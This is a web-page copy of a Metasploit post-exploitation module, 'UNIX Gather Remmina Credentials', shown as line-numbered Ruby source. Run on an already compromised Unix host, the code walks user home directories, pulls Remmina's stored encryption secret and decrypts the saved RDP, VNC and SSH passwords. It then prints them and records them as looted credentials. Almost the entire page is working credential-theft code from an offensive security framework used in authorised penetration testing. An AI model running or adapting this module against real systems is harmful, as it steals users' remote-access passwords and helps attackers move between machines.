CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/multi/gather/remmina_creds.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
include Msf::Post::Unix
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'UNIX Gather Remmina Credentials',
15
'Description' => %q{
16
Post module to obtain credentials saved for RDP and VNC from Remmina's configuration files.
17
These are encrypted with 3DES using a 256-bit key generated by Remmina which is (by design)
18
stored in (relatively) plain text in a file that must be properly protected.
19
},
20
'License' => MSF_LICENSE,
21
'Author' => ['Jon Hart <jon_hart[at]rapid7.com>'],
22
'Platform' => %w[bsd linux osx unix],
23
'SessionTypes' => %w[shell meterpreter]
24
)
25
)
26
end
27
28
def run
29
creds = extract_all_creds
30
creds.uniq!
31
if creds.empty?
32
vprint_status('No Reminna credentials collected')
33
else
34
vprint_good("Collected #{creds.size} sets of Remmina credentials")
35
cred_table = Rex::Text::Table.new(
36
'Header' => 'Remmina Credentials',
37
'Indent' => 1,
38
'Columns' => %w[Host Port Service User Password]
39
)
40
41
creds.each do |cred|
42
cred_table << cred
43
report_credential(cred[3], cred[4])
44
end
45
46
print_line(cred_table.to_s)
47
end
48
end
49
50
def decrypt(secret, data)
51
c = OpenSSL::Cipher.new('des3')
52
c.decrypt
53
key_data = Base64.decode64(secret)
54
# the key is the first 24 bytes of the secret
55
c.key = key_data[0, 24]
56
# the IV is the last 8 bytes of the secret
57
c.iv = key_data[24, 8]
58
# passwords less than 16 characters are padded with nulls
59
c.padding = 0
60
p = c.update(Base64.decode64(data))
61
p << c.final
62
# trim null-padded, < 16 character passwords
63
p.gsub(/\x00*$/, '')
64
end
65
66
# Extracts all remmina creds found anywhere on the target
67
def extract_all_creds
68
creds = []
69
user_dirs = enum_user_directories
70
if user_dirs.empty?
71
print_error('No user directories found')
72
return creds
73
end
74
75
vprint_status("Searching for Remmina creds in #{user_dirs.size} user directories")
76
# walk through each user directory
77
enum_user_directories.each do |user_dir|
78
remmina_dir = ::File.join(user_dir, '.remmina')
79
pref_file = ::File.join(remmina_dir, 'remmina.pref')
80
next unless file?(pref_file)
81
82
remmina_prefs = get_settings(pref_file)
83
next if remmina_prefs.empty?
84
85
if (secret = remmina_prefs['secret'])
86
vprint_status("Extracted secret #{secret} from #{pref_file}")
87
else
88
print_error("No Remmina secret key found in #{pref_file}")
89
next
90
end
91
92
# look for any \d+\.remmina files which contain the creds
93
cred_files = dir(remmina_dir).map do |entry|
94
::File.join(remmina_dir, entry) if entry =~ /^\d+\.remmina$/
95
end
96
cred_files.compact!
97
98
if cred_files.empty?
99
vprint_status("No Remmina credential files in #{remmina_dir}")
100
else
101
creds |= extract_creds(secret, cred_files)
102
end
103
end
104
105
creds
106
end
107
108
def extract_creds(secret, files)
109
creds = []
110
files.each do |file|
111
settings = get_settings(file)
112
next if settings.empty?
113
114
# get protocol, host, user
115
proto = settings['protocol']
116
host = settings['server']
117
case proto
118
when 'RDP'
119
port = 3389
120
user = settings['username']
121
when 'VNC'
122
port = 5900
123
domain = settings['domain']
124
if domain.blank?
125
user = settings['username']
126
else
127
user = domain + '\\' + settings['username']
128
end
129
when 'SFTP', 'SSH'
130
# XXX: in my testing, the box to save SSH passwords was disabled
131
# so this may never work
132
user = settings['ssh_username']
133
port = 22
134
else
135
print_error("Unsupported protocol: #{proto}")
136
next
137
end
138
139
# get the password
140
encrypted_password = settings['password']
141
password = nil
142
unless encrypted_password.blank?
143
password = decrypt(secret, encrypted_password)
144
end
145
146
if host && user && password
147
creds << [ host, port, proto.downcase, user, password ]
148
else
149
missing = []
150
missing << 'host' unless host
151
missing << 'user' unless user
152
missing << 'password' unless password
153
vprint_error("No #{missing.join(',')} in #{file}")
154
end
155
end
156
157
creds
158
end
159
160
# Reads key=value pairs from the specified file, returning them as a Hash of key => value
161
def get_settings(file)
162
settings = {}
163
read_file(file).split("\n").each do |line|
164
if /^\s*(?<setting>[^#][^=]+)=(?<value>.*)/ =~ line
165
settings[setting] = value
166
end
167
end
168
169
vprint_error("No settings found in #{file}") if settings.empty?
170
settings
171
end
172
173
def report_credential(user, pass)
174
credential_data = {
175
workspace_id: myworkspace_id,
176
origin_type: :session,
177
session_id: session_db_id,
178
post_reference_name: refname,
179
username: user,
180
private_data: pass,
181
private_type: :password
182
}
183
184
create_credential(credential_data)
185
end
186
end
187
188